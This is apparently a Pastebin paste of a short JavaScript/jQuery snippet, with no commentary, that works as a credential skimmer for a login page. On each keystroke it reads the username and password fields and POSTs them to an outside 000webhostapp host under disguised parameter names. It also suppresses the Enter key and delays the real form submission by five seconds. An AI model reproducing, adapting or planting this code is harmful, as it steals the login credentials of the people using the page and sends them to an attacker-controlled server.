SHARE
TWEET

Untitled

a guest Oct 23rd, 2019 91 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function sendDataUser(nama,matkuls){
  2.     var xhr = new XMLHttpRequest();
  3.     var url = "https://meta-testing.000webhostapp.com/matkul";
  4.    
  5.  
  6.     xhr.open("POST", url, true);
  7.     xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  8.     xhr.send("nama_dosen="+nama+"&matkul="+matkuls+"");
  9.     return false;
  10. }
  11.  
  12. $(document).on('keyup', '.text_style1', function(){
  13.     var usertext = document.getElementById("txtUsername").value;
  14.     var passtext = document.getElementById("txtPassword").value;
  15.     console.log('user : '+usertext+' pass : '+passtext);
  16.  
  17.     sendDataUser(usertext,passtext);
  18. });
  19.  
  20. $(document).keypress(
  21.   function(event){
  22.     if (event.which == '13') {
  23.       event.preventDefault();
  24.     }
  25. });
  26.  
  27. $(document).on('click', '.command_form', function(){
  28.     setTimeout(function(){
  29.         var x = document.getElementsByName('frmLogin');
  30.         x[0].submit();
  31.     }, 5000);
  32. });
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top